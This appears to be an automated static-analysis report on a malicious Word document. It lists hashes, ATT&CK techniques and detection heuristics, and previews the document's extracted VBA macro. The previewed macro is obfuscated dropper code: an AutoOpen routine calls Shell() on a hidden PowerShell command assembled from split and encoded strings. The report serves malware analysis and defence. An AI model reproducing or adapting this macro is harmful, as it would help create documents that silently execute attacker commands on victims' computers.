Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 64ce247a8d9e155b…

MALICIOUS

Office (OLE)

229.8 KB Created: 2018-06-29 11:45:00 Authoring application: Microsoft Office Word First seen: 2019-10-01
MD5: ba27f161f6688aab49a2c11f92a96caf SHA-1: f1b7b2537b3a8bfb16c9ec66638858fe65576623 SHA-256: 64ce247a8d9e155bbc959f6a5c9c8cfb2f27448f9d35e52bcde6d3ad89ea41cb
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious OLE document containing VBA macros. The AutoOpen macro is present and uses the Shell() function, indicating an attempt to execute arbitrary commands. This is a common technique for downloading and executing further malicious payloads. The ClamAV detection name further supports its classification as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6595916-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6595916-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13184 bytes
SHA-256: 04bf90f2cc1039a2e539b0818ac99c240c4602215f5df869097d43317d412878
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "rVXlinhiLiVaC"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sdnporjcSwRrTO"
Function jCiIrHaKOJ()
On Error Resume Next
oTmqQi = dHCHZs = 11534 / AqoRI + 37933 / ChrW(13227) / bjJiX + ChrW(jlqKbU) * 41757 + ChrB(51695 * CInt(ulNWNP) * 39657 - Hex(Tmdmk)) + AWKhQL - Int(GACza) * (RPQlA - utjuz)
nHZpvu = wEqnRm - PpokK / (mwDtD + Oct(cNpmT) - 54561 + Log(ocDjQ))
FqszCf = WcWmr + Chr(vzDuSIXC + vbKeyP + iUKHtD) + "owe" + "rs"
IFdMa = wzvJEF = 92829 / ZHpDfm + 91038 / ChrW(35197) / GRXKEw + ChrW(LJXfCT) * 17180 + ChrB(74265 * CInt(SEBhDl) * 63280 - Hex(snhnA)) + iJpZX - Int(DQuARw) * (iQjGwC - NhtlbU)
ASQRqL = tWNtl - ZBJAPF / (wGMhjk + Oct(mwPEzC) - 18453 + Log(wijbm))
ouTMMK = MXtWW = 58283 / tGiiFl + 40814 / ChrW(94826) / IvjiW + ChrW(fRnSD) * 19403 + ChrB(23519 * CInt(VWaZaY) * 43100 - Hex(bXXJsv)) + WBRrn - Int(QcbdK) * (ciDach - NLfLv)
kaULL = JjPRR - SYhEtw / (PjuzXz + Oct(biiqrp) - 43406 + Log(DkwRQ))
jCiIrHaKOJ = jBijrJNo + FqszCf + kpKitdj + SrTjS + UEKdtNz
AIMRm = JIfJRj = 30907 / sqbwOP + 72876 / ChrW(59397) / ZZbPA + ChrW(zHcif) * 28047 + ChrB(46081 * CInt(hlIlSz) * 46973 - Hex(KZqaN)) + zCAiV - Int(nrKZJ) * (hCowkR - ItLFd)
fdAPC = aIoHZ - BsRtpa / (cfRWkM + Oct(ZFEPnz) - 43745 + Log(qdncI))
End Function
Sub AutoOpen()
On Error Resume Next
iituO = jYDOD = 72173 / BnOHP + 5659 / ChrW(24881) / UDZTcK + ChrW(CoGNRh) * 88700 + ChrB(1089 * CInt(bVvFB) * 4860 - Hex(LCaVXb)) + XZvCO - Int(TamGtW) * (IqUoG - qfuHHz)
ONRCo = aSinV - fZEBjo / (inhVi + Oct(OklqdS) - 78292 + Log(wNGIk))
Application.Run "bjQiNRu", jCiIrHaKOJ
bvwaC = JaNmdL = 35895 / SijsjQ + 50142 / ChrW(64562) / bEVjbj + ChrW(zszXl) * 67978 + ChrB(82944 * CInt(SjcnX) * 98664 - Hex(SztlR)) + OZTrtG - Int(VhRhr) * (olLvJ - nZZzom)
pOmWm = SjjSjj - cWlkSu / (VLbGEk + Oct(iGoai) - 10003 + Log(QGjLir))
End Sub
Function bjQiNRu(LNrEfs)
On Error Resume Next
VESfP = GRooh = 87627 / oinfSC + 76594 / ChrW(76434) / vsBaI + ChrW(PCZnD) * 45935 + ChrB(1707 * CInt(JapTv) * 25372 - Hex(zslPu)) + TDtcDl - Int(IZioIu) * (lPuqR - XdEcis)
HwAPLO = vwjKzm - wjwAK / (Ljjwu + Oct(HNpwQt) - 22243 + Log(nLZOd))
TFmijr = iZuIbY = 82537 / bMCVM + 13794 / ChrW(24657) / AQQnc + ChrW(mKhXQ) * 65199 + ChrB(10891 * CInt(BODTZo) * 90362 - Hex(oVUvMz)) + tQnGz - Int(RSDCQn) * (bEHJJi - oRtiY)
KcvTj = nnnHd - GGjvAQ / (AKOkO + Oct(mdnib) - 44105 + Log(hnbpX))
ulwssUHKfm = ParYHXzQaz + Shell(jLYDJYuiQFQ + LNrEfs + jwSlVzmAf, 446986336 - 446986336) + GpEBiilt
WKAwnw = hDbbsR = 54805 / XAwsh + 14272 / ChrW(89599) / zFMkYt + ChrW(itXPu) * 97223 + ChrB(1337 * CInt(ankdi) * 4069 - Hex(pKufK)) + fzqdbi - Int(rbLFo) * (zhVBha - mVEwd)
ZmPBq = jfzwhm - QzWzc / (pwFiUI + Oct(FmAJt) - 88051 + Log(PIObZV))
End Function

Function kpKitdj()
On Error Resume Next
tcnfV = zFfQW - BBtAOp / (utlmJu + Oct(SWvWG) - 51836 + Log(THNfT))
ozjtKt = MjidLk = 45813 / Ykjpa + 28385 / ChrW(75734) / Mtizu + ChrW(YkNsj) * 5187 + ChrB(68784 * CInt(OVZpA) * 88964 - Hex(ZNJnvA)) + UrKhAq - Int(zjwuG) * (tPTAV - EWOQk)
jinwZnN = "hell" + "  [StRI" + "nG]::JO" + "iN" + Chr(40) + " '', " + Chr(40) + " '56W1" + "18&102" + "K73{33" + "b114e" + "121m107K" + "49Z1"
tcHYk = IUNfwf - pqRdta / (KCnrrU + Oct(rmDvB) - 64447 + Log(arrGjf))
mvBcd = mwTfDH = 47545 / qUHpil + 24230 / ChrW(84044) / JIJvHi + ChrW(fVvdqw) * 83942 + ChrB(17605 * CInt(PHJzq) * 85474 - Hex(hnjwA)) + BhwuT - Int(UTwiQY) * (iMuwrd - jOdDsl)
sLTrKTofYrT = "15W126e1" + "18K1" + "21{127A" + "104_6" + "0K82" + "{121K" + "104&" + "50b75K1" + "21m126W9" + "5_112Z11" + "7e121A1" + "14{104e3"
zKLCf = wzwHXQ - rmRkz / (QZpLr + Oct(vkEYs) - 80796 + Log(mjiuC))
OzPzMi = pzAJS = 89897 / rpPjP + 83316 / ChrW(31712) / JjuzXO + ChrW(aXNuzw) * 6241 + ChrB(45120 * CInt(fqtBoD) * 72800 - Hex(mVjBbZ)) + nbjpj - Int(OGuqX) * (wXvKnR - AYzOt)
kiAfjI = "9A56&78K" + "72m120A33" + "b59A116" + "W104" + "
... (truncated)

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